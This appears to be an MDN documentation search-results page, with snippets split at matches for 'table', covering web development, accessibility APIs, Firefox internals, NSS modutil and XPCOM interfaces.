ngs, paragraphs, lists — the core text content of your page: <h1>heading</h1> <p>paragraph</p> <ul> <li>my list</li> <li>has two items.</li> </ul> some typical css might look like this: h1 { font-size: 5rem; } p, li { line-height: 1.5; font-size: 1.6rem; } you should: select sensible font sizes, line heights, letter spacing, etc. to make your text logical, legible, and comfor
table to read. make sure your headings stand out from your body text, typically big and bold like the default styling. your lists should look like lists. your text color should contrast well with your background color. see html text fundamentals and styling text for more information. emphasised text inline markup that confers specific emphasis to the text that it wraps: <p>the water is <em>very ...
... however deviate too much from the expected visual feedback form elements receive when they are focused, which is basically the same as links (see above). you could style form focus/hover states to make this behaviour more consistent across browsers or fit in better with your page design, but don't get rid of it altogether — again, people rely on these clues to help them know what is going on.
tables
tables for presenting tabular data. you can see a good, simple example of
table html and css in our
table-css.html example (see it live also).
table css generally serves to make the
table fit better into your design and look less ugly. it is a good idea to make sure the
table headers stand out (normally using bold), and use zebra striping to make different rows easier to parse. color and col...
...e enough to not cause problems. there are a number of contrast checking tools online that you can enter your foreground and background colors into, to check them. for example webaim's color contrast checker is simple to use, and provides an explanation of what you need to conform to the wcag criteria around color contrast. note: a high contrast ratio will also allow anyone using a smartphone or
tablet with a glossy screen to better read pages when in a bright environment, such as sunlight. another tip is to not rely on color alone for signposts/information, as this will be no good for those who can't see the color. instead of marking required form fields in red, for example, mark them with an asterisk and in red. hiding things there are many instances where a visual design will require th...
...And 2 more matches
Responsive images - Learn web development
s starting to take up a lot of the screen height for a mobile device. and at this size, it is difficult to see the people within the first content image. an improvement would be to display a cropped version of the image which displays the important details of the image when the site is viewed on a narrow screen. a second cropped image could be displayed for a medium width screen device, like a
tablet. this is commonly known as the art direction problem. in addition, there is no need to embed such large images on the page if it is being viewed on a mobile screen. and conversely, a small raster image starts to look grainy when displayed larger than its original size (a raster image is a set number of pixels wide and a set number of pixels tall, as we saw when we looked at vector graphics). th...
...cated, some devices have high resolution screens that need larger images than you might expect to display nicely. this is essentially the same problem, but in a slightly different context. you might think that vector images would solve these problems, and they do to a certain degree — they are small in file size and scale well, and you should use them wherever possible. however, they aren't sui
table for all image types. vector images are great for simple graphics, patterns, interface elements, etc., but it starts to get very complex to create a vector-based image with the kind of detail that you'd find in say, a photo. raster image formats such as jpegs are more suited to the kind of images we see in the above example. this kind of problem didn't exist when the web first existed, in the ear...
...ce to browse the web were desktops and laptops, so browser engineers and spec writers didn't even think to implement solutions. responsive image technologies were implemented recently to solve the problems indicated above by letting you offer the browser several image files, either all showing the same thing but containing different numbers of pixels (resolution switching), or different images sui
table for different space allocations (art direction). note: the new features discussed in this article — srcset/sizes/<picture> — are all supported in release versions of modern desktop and mobile browsers (including microsoft's edge browser, although not internet explorer.) how do you create responsive images? in this section, we'll look at the two problems illustrated above and show how to...
...And 2 more matches
Client-side storage - Learn web development
enough to get started. working through a note storage example here we'll run you through an example that allows you to store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of idb as we go along. the app looks something like this: each note has a title and some body text, each individually edi
table. the javascript code we'll go through below has detailed comments to help you understand what's going on. getting started first of all, make local copies of our index.html, style.css, and index-start.js files into a new directory on your local machine. have a look at the files. you'll see that the html is pretty simple: a web site with a header and footer, as well as a main content area that...
...hen they're done. to handle this in indexeddb, you create a request object (which can be called anything you like — we called it request so it is obvious what it is for). you then use event handlers to run code when the request completes, fails, etc., which you'll see in use below. note: the version number is important. if you want to upgrade your database (for example, by changing the
table structure), you have to run your code again with an increased version number, different schema specified inside the onupgradeneeded handler (see below), etc. we won't cover upgrading databases in this simple tutorial. now add the following event handlers just below your previous addition — again inside the window.onload handler: // onerror handler signifies that the database didn't ...
... finally for this section, we'll add probably the most important event handler for setting up the database: request.onupgradeneeded. this handler runs if the database has not already been set up, or if the database is opened with a bigger version number than the existing stored database (when performing an upgrade). ...
...And 2 more matches
Introduction to client-side frameworks - Learn web development
l — beware that you don't end up using a framework just for the sake of it. familiarity with the tool just like vanilla javascript, frameworks take time to learn and have their quirks. before you decide to use a framework for a project, be sure you have time to learn enough of its features for it to be useful to you rather than it working against you, and be sure that your teammates are comfor
table with it as well. overengineering if your web development project is a personal portfolio with a few pages, and those pages have little or no interactive capability, a framework (and all of its javascript) may not be necessary at all. that said, frameworks are not a monolith, and some of them are better-suited to small projects than others. in an article for smashing magazine, sarah drasner writ...
...sometimes less code overall – by dealing with the dom interactions for you, behind the scenes. this abstraction is great for your experience as a developer, but it isn't free. in order to translate what you write into dom changes, frameworks have to run their own code, which in turn makes your final piece of software larger and more computationally expensive to operate. some extra code is inevi
table, and a framework that supports tree-shaking (removal of any code that isn't actually used in the app during the build process) will allow you to keep your applications small, but this is still a factor you need to keep in mind when considering your app's performance, especially on more network/storage-constrained devices, like mobile phones. the abstraction of frameworks affects not only your ja...
...hat process. you often have to employ advanced framework apis to access native browser features like aria live regions or focus management. in some cases, framework applications create accessibility barriers that do not exist for traditional websites. the biggest example of this is in client-side routing, as mentioned earlier. with traditional (server-side) routing, navigating the web has predic
table results. the browser knows to set focus to the top of the page and assistive technologies will announce the title of the page. these things happen every time you navigate to a new page. with client-side routing, your browser is not loading new web pages, so it doesn't know that it should automatically adjust focus or announce a new page title. framework authors have devoted immense time and labo...
...And 2 more matches
Accessible Toolkit Checklist
x or menu item. this is one reason why a label must be created together with each widget, rather than separately. get_accvalue: get the "value" of the iaccessible, for example a number in a slider, a url for a link, the text a user entered in a field. get_accrole: get an enumerated value representing what this iaccessible is used for, for example. is it a link, static text, edi
table text, a checkbox, or a
table cell, etc. get_accstate: a 32 bit field representing possible on/off states, such as focused, focusable, selected, selec
table, visible, protected (for passwords), checked, etc. get_acckeyboardshortcut: what is the keyboard shortcut for this iaccessible (underlined alt+combo mnemonic) get_accfocus: which child is focused? get_acc...
... will not be apparent, and screen readers may read the selected list item when they shouldn't. for unfocused lists, use a lighter color highlight to show a non-focused state. for autocomplete lists, use the system color offset by 1, so that it looks active but the list items don't get echoed while they user's trying to simply type and edit. ...
...rent, and screen readers may read the selected list item when they shouldn't. for unfocused lists, use a lighter color highlight to show a non-focused state. for autocomplete lists, use the system color offset by 1, so that it looks active but the list items don't get echoed while they user's trying to simply type and edit. ...
...And 2 more matches
Debugging Frame Reflow
n the debug build, saving stdout to a file. on mac this is accomplished with: $ env dyld_library_path="`pwd`/obj-ff-dbg/dist/nightlydebug.app/contents/macos" \ ./obj-ff-dbg/dist/nightlydebug.app/contents/macos/firefox-bin > logfile.txt after loading your testcase, the log file will contain the promised information. ...
...obj-ff-dbg/dist/nightlydebug.app/contents/macos/firefox-bin > logfile.txt after loading your testcase, the log file will contain the promised information. ...
... after loading your testcase, the log file will contain the promised information. ...
...And 2 more matches
Experimental features in Firefox
f necessary. you can test your web sites and applications before these features get released and ensure everything will still work with the latest web technology capabilities. to test these experimental features, you need to download firefox nightly or firefox developer edition. which you need is described alongside each feature's description below. editor's note: when adding features to these
tables, please try to include a link to the relevant bug or bugs using the bug macro: {{bug(bug-number)}}. html element: <dialog> the html <dialog> element and its associated dom apis provide support for html-based modal dialog boxes. the current implementation is a little inelegant but is basically functional. see bug 840640 for more details. release channel version added enabled b...
...see also bug 1205133 for details. release channel version added enabled by default? nightly 75 yes developer edition 75 no beta 75 no release 75 no preference name dom.forms.inputmode <link rel="preload"> the <link> element's rel attribute is intended to help provide performance gains by l...
...ogress on this api. release channel version added enabled by default? nightly 73 no developer edition 73 no beta 73 no release 73 no preference name dom.webgpu.enabled html dom api global event: beforeinput the global beforeinput event is sent to an <input> element—or any element whose contentedi
table attribute is enabled—immediately before the element's value changes. release channel version added enabled by default? nightly 74 no developer edition 74 no beta 74 no release 74 no preference name dom.input_events.beforeinput.enabled htmlmediaelement method: setsinkid() htmlmediaelement.setsinki...
...And 2 more matches
Embedding the editor
sible to get basic editing functionality, be able to have any number of <editor>s per window, and control whether those <editor>s are in html or plain text mode. composer embedded in a native application in this application, the <iframe> on which the editor lives is embedded directly in the native application; this is equivalent to embedding the browser via nsiwebbrowser, but instead having an edi
table document. the composer chrome (toolbars etc) may be implemented by the embedder using native widgets, or using some amount of xul. that chrome needs to be configurable - dockable floating toolbars, toolbar shared between composer widgets, or 1 per widget. this type of embedding requires that the composer code is agnostic to where its ui is coming from; communication between the core editor and th...
...hen communicating with the ui. embedding objectives editor requires design changes such that the embedding applications above can be fulfilled, and these changes will need to address the current problems. briefly, the embedding objectives are: <editor> should get you a working editor in a xul application should be able to have multiple <editor>s per xul window should be able to embed an edi
table content frame in a native application embedders should be able to supply their own chrome (toolbars etc). meeting these objectives will also solve the following existing composer problems: composer should handle frameset documents composer should handle documents with <iframe>s. composer shouldn't rely on certain xul document structure proposed solutions fixing editor rooting as descri...
...composer problems: composer should handle frameset documents composer should handle documents with <iframe>s. composer shouldn't rely on certain xul document structure proposed solutions fixing editor rooting as described above, editor rooting needs to be changed so that an editor lives on top of an nsdocshell, rather than hanging off the nseditorboxobject. there is a docshell for each edi
table <iframe>. this will involve: making a new interface, nsieditorframe, that is implemented by nsdocshell or a related class. you should be able to qi from nsidocshell to one of these; if this succeeds, it indicates that the frame is edi
table. nsieditorframe should contain methods for getting the editing session, and doing some generic editor-related stuff (probably common to html and plain text ...
...And 2 more matches
Mozilla Web Developer FAQ
nd standards. in the standards mode gecko aims to treat documents authored in compliance with the applicable web format specifications. in the quirks mode—for the purpose of backwards compatibility—gecko mimics some behaviors of legacy browsers in ways that are spec violations. the almost standards mode is like the standards mode except it addresses the issue of the next question by rendering
table cells with images in the traditional way. the mode is picked based on the doctype declaration (or the lack thereof) at the beginning of an html document. the easiest way to make sure that the standards mode is activated for html, is to use this doctype declaration: <!doctype html> the easiest way to make sure that the almost standards mode is activated for html, is to use this doctype decla...
...ary browsers have a standards mode, activating the standards mode or the almost standards mode in other browsers as well (using the above-mentioned exact doctypes) is the best way to get consistent css layout results across different browsers. on the other hand, the quirks implemented in the quirks modes of different browsers vary from browser to browser. ...
... image rows in
tables when the layout engine is in the standards mode? in the css2 box layout model the default vertical sizing of layout boxes and the default vertical alignment of images is different from the behavior of old browsers. these aspects of the layout can be changed by explicitly setting the display css property of the images (and possible surrounding <a> elements) to block. if the
table cells that contain only an image are marked with <td class="imgcell">, the required css rule is: .imgcell img, .imgcell a { display: block; } longer explanation… why are there still gaps even between text rows in
tables when the layout engine is in the standards mode or in the almost standards mode? in the standards mode and in the almost standards mode mozilla does not suppress the default ...
...And 2 more matches
Midas
introduction midas is the code name for gecko's built-in rich text editor. midas can be enabled via javascript on an html document. when midas is enabled, the document becomes edi
table by the user. scripting for midas is based on the dhtml commands supported by internet explorer. internet explorer supports the ability to make an entire document edi
table by setting the designmode property of the document object; this is how midas is invoked in gecko. internet explorer also supports the ability to edit specific elements using the contentedi
table attribute; starting with firefox 3, gecko also supports contentedi
table. once midas is invoked, a few more methods of the document object become available. you can try demo of this here. properties document.designmode by setting this proper...
... is invoked in gecko. internet explorer also supports the ability to edit specific elements using the contentedi
table attribute; starting with firefox 3, gecko also supports contentedi
table. once midas is invoked, a few more methods of the document object become available. you can try demo of this here. properties document.designmode by setting this property to "on", the document becomes edi
table. notes since an entire document becomes edi
table, authors often load the edi
table document into an iframe and do the bulk of the scripting in the parent document. according to standards, the iframe element has the contentdocument property that refers to the document in the inline frame. it also has a property called contentwindow that refers to the window object inside the inline frame. this a...
...ment property that refers to the document in the inline frame. it also has a property called contentwindow that refers to the window object inside the inline frame. this also avoids problems with bug 198155. in addition to the built-in commands, advanced editing can be done by manipulating the selection and range objects. it is beneficial to be familiar with these objects when working with an edi
table document. examples this example shows the basic structure described in the notes section : <html> <head> <title>simple edit box</title> </head> <body> <iframe id="midasform" src="about:blank" onload="this.contentdocument.designmode='on';" ></iframe> </body> </html> methods document.execcommand executes the given command. document.querycommandenabled determines whethe...
...And 2 more matches
NSS tools : modutil
on called “jar installation file format”. the jar installation script defines the setup information for each platform that the module can be installed on. for example: platforms { linux:5.4.08:x86 { modulename { "example pkcs #11 module" } modulefile { crypto.so } defaultmechanismflags{0x0000} cipherenableflags{0x0000} files { crypto.so { path{ /tmp/crypto.so } } setup.sh { execu
table path{ /tmp/setup.sh } } } } linux:6.0.0:x86 { equivalentplatform { linux:5.4.08:x86 } } } both the install script and the required libraries must be bundled in a jar file, which is specified with the -jar argument. modutil -dbdir sql:/home/mt"jar-install-filey/sharednssdb -jar install.jar -installdir sql:/home/my/sharednssdb this installation jar file was signed by: -----------------...
...r, the module name and file, and any optional information like supported ciphers and mechanisms. multiple platforms can be defined in a single install file. ...
...ive to some directory decided at install time. two variables can be used in the relative path: %root% and %temp%. %root% is replaced at run time with the directory relative to which files should be installed; for example, it may be the server's root directory. the %temp% directory is created at the beginning of the installation and destroyed at the end. ...
...And 2 more matches
NSS Tools modutil
ld include a line such as this: + pkcs11_install_script: pk11install the sample script file could contain the following: forwardcompatible { irix:6.2:mips sunos:5.5.1:sparc }platforms { winnt::x86 { modulename { "fortezza module" } modulefile { win32/fort32.dll } defaultmechanismflags{0x0001} defaultcipherflags{0x0001} files { win32/setup.exe { execu
table relativepath { %temp%/setup.exe } } win32/setup.hlp { relativepath { %temp%/setup.hlp } } win32/setup.cab { relativepath { %temp%/setup.cab } } } } win95::x86 { equivalentplatform {winnt::x86} } sunos:5.5.1:sparc { modulename { "fortezza unix module" } modulefile { unix/fort.so } defaultmecha...
...o variables can be used in the relative path: "%root%" and "%temp%". "%root%" is replaced at run time with the directory relative to which files should be installed; for example, it may be the server's root directory or the netscape communicator root directory. the "%temp%" directory is created at the beginning of the installation and destroyed at the end. ...
..." is to hold execu
table files (such as setup programs) or files that are used by these programs. for example, a windows installation might consist of a setup.exe installation program, a help file, and a .cab file containing compressed information. all these files could be installed in the temporary directory. files destined for the temporary directory are guaranteed to be in place before any execu
table file is run; they are not deleted until all execu
table files have finished. absolutepath specifies the destination directory of the file as an absolute path. if both relativepath and absolutepath are specified, the installer attempts to use the relative path; if it is unable to determine a relative path, it uses the absolute path. ...
...And 2 more matches
NSS tools : modutil
setup information for each platform that the module can be installed on. for example: platforms { linux:5.4.08:x86 { modulename { "example pkcs #11 module" } modulefile { crypto.so } defaultmechanismflags{0x0000} cipherenableflags{0x0000} files { crypto.so { path{ /tmp/crypto.so } } setup.sh { execu
table path{ /tmp/setup.sh } } } } linux:6.0.0:x86 { equivalentplatform { linux:5.4.08:x86 } } } both the install script and the required libraries must be bundled in a jar file, which is specified with the -jar argument. modutil -dbdir sql:/home/mt"jar-install-filey/sharednssdb -jar install.jar -installdir sql:/home/my/sharednssdb this instal...
...n like supported ciphers and mechanisms. multiple platforms can be defined in a single install file. ...
...me directory decided at install time. two variables can be used in the relative path: %root% and %temp%. %root% is replaced at run time with the directory relative to which files should be installed; for example, it may be the server's root directory. the %temp% directory is created at the beginning of the installation and destroyed at the end. ...
...And 2 more matches
SpiderMonkey Build Documentation
e build prerequisites page for your platform. spidermonkey does not support building in your source directory. you must configure and build in a separate build directory, as shown above. note: if you are on mac and getting an error similar to "checking whether the c compiler (gcc-4.2 ) works... ...
...you can test it with dist/bin/js --help, which displays a help page. at this point, you're ready to run and try out the shell. on mac, linux, or unix, you can install spidermonkey on your system with the additional command make install. this installs the shared library to /usr/local/lib, the c header files to /usr/local/include, and the js execut...
...e named js in the directory build-release/dist/bin. you can test it with dist/bin/js --help, which displays a help page. at this point, you're ready to run and try out the shell. on mac, linux, or unix, you can install spidermonkey on your system with the additional command make install. this installs the shared library to /usr/local/lib, the c header files to /usr/local/include, and the js execu
table to/usr/local/bin. developer (debug) build for developing and debugging spidermonkey itself, it is best to have both a debug build (for everyday debugging) and an optimized build (for performance testing), in separate build directories. thus, in addition to following the steps above, you should also create a debug build using these steps: cd js/src # this name should end with "_dbg.obj" to mak...
...And 2 more matches
Exact Stack Rooting
obj); ... } a secondary benefit: since all js functions take js::handlets, code that does not root cstack gcpointers correctly will be much less likely to compile. warning: js::handlet does not root objects itself! that is the job of js::rootedt. warning: never give a function a js::handlet return type: this can easily lead to a js::handlet outliving its js::rootedt's lifetime. js::mu
tablehandle<t> typedef js::mu
tablehandle<t> js::mu
tablehandlet; -> mu
tablehandleobject, mu
tablehandlestring, etc. the purpose of js::mu
tablehandlet is to allow out-parameters for rooted gcthings. this class solves two problems: c++ only allows one level of user-defined implicit type conversion. when passed to an out-param, &handle would convert correctly to js::handlet*, but &local is a compile e...
... js::handlet is indirect, it implicitly behaves like the thing it is pointing to. this makes js::handlet and js::rootedt behave the same, allowing us to seamlessly weave js::handlets into the js api. the problem is that this requires us to overload operator->. if we have a method taking handle<value>*, then out->setobject(foo) will not work as expected. ...
...it implicitly behaves like the thing it is pointing to. this makes js::handlet and js::rootedt behave the same, allowing us to seamlessly weave js::handlets into the js api. the problem is that this requires us to overload operator->. if we have a method taking handle<value>*, then out->setobject(foo) will not work as expected. to solve these problems we have the js::mu
tablehandlet class. ...
...And 2 more matches
Shell global objects
uit() quit the shell. asserteq(actual, expected[, msg]) throw if the first two arguments are not the same (both +0 or both -0, both nan, or non-zero and ===). starttimingmutator() start accounting time to mutator vs gc. stoptimingmutator() stop accounting time to mutator vs gc and dump the results. throwerror() throw an error from js_reporterror. intern(str) internalize str in the atom
table. getslx(obj) get script line extent. evalcx(s[, o]) evaluate s in optional sandbox object o. if (s == '' && !o) return new o with eager standard classes, if (s == 'lazy' && !o) return new o with lazy standard classes evalinworker(str) evaluate str in a separate thread with its own runtime. getsharedarraybuffer() retrieve the sharedarraybuffer object from the cross-worker mailbox. the obje...
...he boolean properties options.args - show arguments to each function options.locals - show local variables in each frame options.thisprops - show the properties of the this object of each frame bytesize(value) return the size in bytes occupied by value, or undefined if value is not allocated in memory. bytesizeofscript(f) return the size in bytes occupied by the function f's jsscript. setimmu
tableprototype(obj) try to make obj's [[prototype]] immu
table, such that subsequent attempts to change it will fail. return true if obj's [[prototype]] was successfully made immu
table (or if it already was immu
table), false otherwise. throws in case of internal error, or if the operation doesn't even make sense (for example, because the object is a revoked proxy). setlazyparsingdisabled(bool) explic...
...hat source discarding is not explicitly enabled. getconstructorname(object) if the given object was created with new ctor, return the constructor's display name. otherwise, return null. allocationmarker([options]) return a freshly allocated object whose [[class]] name is allocationmarker. such objects are allocated only by calls to this function, never implicitly by the system, making them sui
table for use in allocation tooling tests. takes an optional options object which may contain the following properties: * nursery: bool, whether to allocate the object in the nursery setgccallback({action:"...", options...}) set the gc callback. action may be: minorgc run a nursery collection majorgc run a major collection, nesting up to a given depth getlcovinfo(global) generate lcov...
...And 2 more matches
Web Replay
ill change its shape. relaxing non-determinism here has a number of ripple effects in other areas. mainly, pointer values may differ between recording and replay, and the points where gcs occur, and the set of objects collected, may differ. this non-determinism is prevented from spreading too far with the following techniques: different pointer values can affect the internal layout of hash
tables. to prevent this from having an effect on iteration order (and execution behavior) in the
table, the main
table classes (for now plhash
table and pldhash
table) are instrumented so that they always iterate over elements in the order they were added when recording or replaying. differing gc behavior can cause object finalizers to run at different times. to prevent this from having an effect on e...
...ept that new ui buttons are added for rewinding (find the last time a breakpoint was hit), and for reverse step/step-in/step-out. for now only js state can be inspected by the debugger, though extending this to cover dom inspection and other devtools features should not be too hard. unrecordable executions there are restrictions on the executions that can be recorded. these should all be detec
table during recording, so that we don't attempt to replay an execution we know will not match up with the recording. the following executions run into fundamental limits of the approach and cannot be replayed: executions which throw overrecursion js exceptions can't be reliably replayed; overrecursion happens at different times depending on how scripts are compiled, which can vary between recordin...
... handler and the dirty memory exception handler. shared array buffers can be used by web content to introduce data races to the browser on the contents of those buffers, going against a fundamental assumption of the record/replay infrastructure. recording and replaying executions using these buffers will require new techniques like treating all accesses on the buffers as atomic (probably unaccep
table overhead) or performing all accesses on the buffer on a single core and keeping track of context switches. dom workers are not supported yet. for simplicity, debugger integration is currently only able to handle js code that runs on the main thread. webgl is not supported yet, as it uses a pretty different rendering path from normal web content. media elements are not supported yet, as many o...
...And 2 more matches
mozIStorageFunction
this is an interface that must be implemented by consumers. it allows consumers to add functions that are available to sql queries and triggers. there are a number of already defined functions provided by sqlite. objects implementing this interface can be registered with mozistorageconnection.createfunction(). storage/public/mozistoragefunction.idlscrip
table please add a summary to this article. last changed in gecko 1.9.1.4 (firefox 3.5.4) inherits from: nsisupports method overview nsivariant onfunctioncall(in mozistoragevaluearray afunctionarguments); methods onfunctioncall() the implementation of the function. this is called by the database engine when the function registered with mozistorageconnection.createfunction() is used in an executing sql statemen...
...vascript starting in gecko 1.9.1.4 (firefox 3.0.15), you can directly pass your function into the mozistorageconnection method mozistorageconnection, like this: dbconn.createfunction("square", 1, function(aarguments) { let value = aarguments.getint32(0); return value * value; }); // run some query that uses the function. let stmt = dbconn.createstatement("select square(value) from some_
table"); try { while (stmt.executestep()) { // handle the results } } finally { stmt.reset(); } in earlier versions of gecko, however, you'll need to actually create an object containing the onfunctioncall method. this still works in gecko 1.9.1.4 and later, so you may wish to do it this way for compatibility for the time being. // first, create our object that will represent our function.
...object that will represent our function. var squarefunction = { onfunctioncall: function(aarguments) { let value = aarguments.getint32(0); return value * value; } }; // now, register our function with the database connection. dbconn.createfunction("square", 1, squarefunction); // run some query that uses the function. let stmt = dbconn.createstatement("select square(value) from some_
table"); try { while (stmt.executestep()) { // handle the results } } finally { stmt.reset(); } c++ // first, create our class that will represent our function. class squarefunction : public mozistoragefunction { public: ns_imethod onfunctioncall(mozistoragevaluearray *aarguments, nsivariant **_result) { print32 value; nsresult rv = aarguments->getin...
...And 2 more matches
mozIStorageService
this is the only way to open a database connection. ...
...d again with the mozistorageservice.opendatabase() method. warning: if you have more than one connection to a file, you must use the exact same name for the file each time, including case. the sqlite code uses a simple string comparison to see if there is already a connection. opening a connection to "foo.sqlite" and "foo.sqlite" will corrupt your database. if your database contains virtual
tables (for example, for full-text indexes), you must use mozistorageservice.openunshareddatabase() to open it, since those
tables are not compatible with a shared cache. if you use this method to open a database containing virtual
tables, it will think the database is corrupted and throw ns_error_file_corrupted. note: the connection object returned by this function is not threadsafe. you must use it o...
...sifile adatabasefile ); parameters adatabasefile an nsifile indicating the database file to open. return value a mozistorageconnection representing the connection to the opened database file. exceptions thrown ns_error_failure an error occurred attempting to open the database. ns_error_file_corrupted the database file is corrupted, or contains virtual
tables and is not compatible with this method. ns_error_out_of_memory allocating a new storage object failed. openspecialdatabase() opens a connection to a named special database storage that identifies the type of storage requested. note: you should only access the profile database from the main thread since other callers may also be using it. mozistorageconnection openspecialdatabase( ...
...And 2 more matches
nsIAccessibleStates
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) prior to gecko 1.9, these constants were implemented in nsiaccessible. constants state constants msaa state flags - used for bitfield. more than 1 allowed. constant value description state_unavailable 0x00000001 the object is unavailable, that is disabled. state_selected 0x00000002 the object is selected, that is it indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected. state_focused 0x00000004 the object is focused. ...
...drag the object to a new location. state_selfvoicing 0x00080000 the object or child uses text-to-speech (tts) technology for description purposes. a speech-based accessibility aid does not announce information when an object with this state has the focus because the object automatically announces information. currently unused. state_focusable 0x00100000 the object can be focused. ...
... state_alert_low 0x04000000 this information is of low priority. state_alert_medium 0x08000000 this information is of medium priority. state_alert_high 0x10000000 this information is of high priority. ...
...And 2 more matches
nsIAppShell
this interface is designed to be used on the main application thread only. ...
...read only. methods create() obsolete since gecko 1.9 (firefox 3) creates an application shell. void creat...
...e for a queue wanting to be unhooked. resumenative() resumes the use of additional platform-specific methods to run() gecko events on the main application thread. calls to suspendnative() and resumenative may be nested. on some platforms this will be a no-op. void resumenative(); parameters none. run() enter an event loop. do not leave until exit() is called. void run(); parameters none. runins
tablestate() allows running of a "synchronous section", in the form of an nsirunnable once the event loop has reached a "s
table state". a s
table state is reached when the currently executing task/event has finished, (see: webappapis.html#synchronous-section). in practice this runs arunnable once the currently executing event finishes. if called multiple times per task/event, all the runnables will be e...
...And 2 more matches
nsIAsyncOutputStream
while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsioutputstream.isnonblocking() return true. ...
...while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsioutputstream.isnonblocking() return true. ...
...d a summary to this article. inherits from: nsioutputstream last changed in gecko 1.7 if an output stream is non-blocking, it may return ns_base_stream_would_block when written to. the caller must then wait for the stream to become wri
table. if the stream implements nsiasyncoutputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes wri
table or closed (via the asyncwait() method). while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsioutputstream.isnonblocking() return true. nor is it necessary that a non-blocking nsioutputstream implementation also implement nsiasyncoutputstream. method overview void asyncwait(in nsioutputstreamcallback acallback, in unsigned long aflags, in unsign...
...And 2 more matches
nsIDragService
inherits from: nsisupports last changed in gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40) note: using this interface directly from add-on code is deprecated. add-ons should use the standard datatransfer drag and drop api instead. the only exception is getcurrentsession(), since there's currently no way to check for a drag in progress using standard dom methods or properties. ...
... void dragmoved(in long ax, in long ay); native code only! void firedrageventatsource(in unsigned long amsg); obsolete since gecko 43 void firedrageventatsource(in mozilla::eventmessage aeventmessage); native code only! ...
...redrageventatsource(in mozilla::eventmessage aeventmessage); native code only! ...
...And 2 more matches
nsITreeColumn
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void getidconst([shared] out wstring idconst); native code only! nsitreecolumn getnext(); nsitreecolumn getprevious(); void invalidate(); attributes attribute type description atom nsiatom the atom attribute of nsitreecolumn which returns an nsiatom for the column, making it fast to do comparisons. read only. native code only! columns nsitreecolumns the nsitreecolumns containing this column. read only. ...
...scription atom nsiatom the atom attribute of nsitreecolumn which returns an nsiatom for the column, making it fast to do comparisons. read only. native code only! columns nsitreecolumns the nsitreecolumns containing this column. read only. cycler boolean if true, then the column is a cycler column. if the cycler attribute is not set, the column cells are regular text cells. read only. edi
table boolean if true the nsitreecolumn content is edi
table. if the edi
table attribute is not set, the column cells are not edi
table. read only. element nsidomelement the treecol element. read only. id astring the id attribute of the nsitreecolumn. read only. index long the index of the nsitreecolumn in displayed order. read only. primary boolean if true the nsitreecolumn is the primary column.
...read only. type short the type of the column, see constants. read only. width long the width of nsitreecolumn. read only. x long the x position in the tree of the left edge of the nsitreecolumn. read only. ...
...And 2 more matches
nsIZipReader
inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/zip-reader;1. to create an instance, use: var zipreader = components.classes["@mozilla.org/libjar/zip-reader;1"] .createinstance(components.interfaces.nsizipreader); about character sets and code pages note: nsizipreader has a code page problem; that is, in the zip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, such as utf-8. this can mismatch characters in the nsizipreader api. ...
...vascript) or emptycstring() (c++) is passed in the integrity of all items in the archive are tested. void test( in autf8string aentryname ); parameters aentryname the single entity to check or null for checking all entries in the archive. examples list contents of xpi and read file contents this example uses findentries, getentry, getinputstream, open, and close. it also uses nsiscrip
tableinputstream to read the stream returned by getinputstream. xpi files are zip files, just firefox needs the extension to be xpi. change "por
tabletester@jetpack.xpi" to the name of a xpi file in your extensions folder. then you can copy and paste this code in scratchpad to run it. var zr = cc["@mozilla.org/libjar/zip-reader;1"].createinstance(ci.nsizipreader); cu.import('resource://gre/modu...
...e "por
tabletester@jetpack.xpi" to the name of a xpi file in your extensions folder. then you can copy and paste this code in scratchpad to run it. ...
...And 2 more matches
XPCOM Interface Reference by grouping
nt nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsidommousescrollevent nsidommoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler nsidragservice nsidragsession html nsiaccessibilityservice nsiaccessiblecoordinatetype nsiaccessibledocument nsiaccessibleedi
tabletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccessibleimage nsiaccessibleprovider nsiaccessibleretrieval nsiaccessiblerole nsiaccessiblescrolltype nsiaccessibleselec
table nsiaccessiblestates nsiaccessible
table nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender ...
...t nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccessibleimage nsiaccessibleprovider nsiaccessibleretrieval nsiaccessiblerole nsiaccessiblescrolltype nsiaccessibleselec
table nsiaccessiblestates nsiaccessible
table nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender script nsiscrip
tableunescapehtml nsiscrip
tableunicodeconverter nsiscripterror nsiscripterror2 stylesheet nsistylesheetservice url nsiuri nsiurl util nsidomserializer nsidomxpathevaluator nsidomxpathexception nsidomxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download nsidownload nsidownloadm...
...or nsifeedperson nsifeedprocessor nsifeedprogresslistener nsifeedresult nsifeedresultlistener nsifeedtextconstruct script mozijssubscriptloader storage mozistoragevacuumparticipant util nsieffectivetldservice worker nsiabstractworker data nsiarray nsicategorymanager nsicollection nsidictionary nsimu
tablearray nsisimpleenumerator nsisupportschar nsisupportsdouble nsisupportsfloat nsisupportsid nsisupportsinterfacepointer nsisupportsprbool nsisupportsprimitive nsisupportsprint16 nsisupportsprint32 nsisupportsprint64 nsisupportspriority nsisupportsprtime nsisupportspruint16 nsisupportspruint32 nsisupportspruint64 nsisupportspruint8 ...
...And 2 more matches
Use SQLite
if you'd like to use an sqlite database in your extension you'll need to look over the storage docs for an api reference, however this code should get you started. be careful of multi-thread access to your database. this will create an sqlite db named tbird.sqlite inside your profile directory with a
table called attachments. you can see the schema for the attachments
table in the code. ...
... the schema for the attachments
